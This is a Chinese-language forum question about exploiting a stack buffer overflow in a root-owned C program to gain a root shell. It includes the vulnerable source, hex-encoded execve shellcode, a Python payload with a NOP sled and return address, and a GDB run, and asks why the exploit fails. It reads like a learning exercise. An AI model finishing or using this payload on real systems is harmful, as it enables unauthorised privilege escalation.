我正在尝试利用具有 root 权限的易受攻击的程序的权限升级。我为此尝试了一个shell代码,但我不知道我在哪里犯了错误。
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
char buf[256];
int len, i;
scanf("%s", buf);
len = strlen(buf);
printf("%s\n", buf);
return 0;
}
缓冲区的地址从“0x7fffffffdfd0”开始。缓冲区大小为 272 字节。我使用了以下 29 个字节的 shell 代码:
\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05
此外,我在攻击场景中使用了以下输入:
(python -c 'print \x90"*243+"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"+"\xd0\xdf\xff\xff\xff\x7f"') > payload.txt
当我在 GDB 中使用“run < payload.txt”运行程序时,我没有收到 root 访问权限。任何想法或解决方案将不胜感激。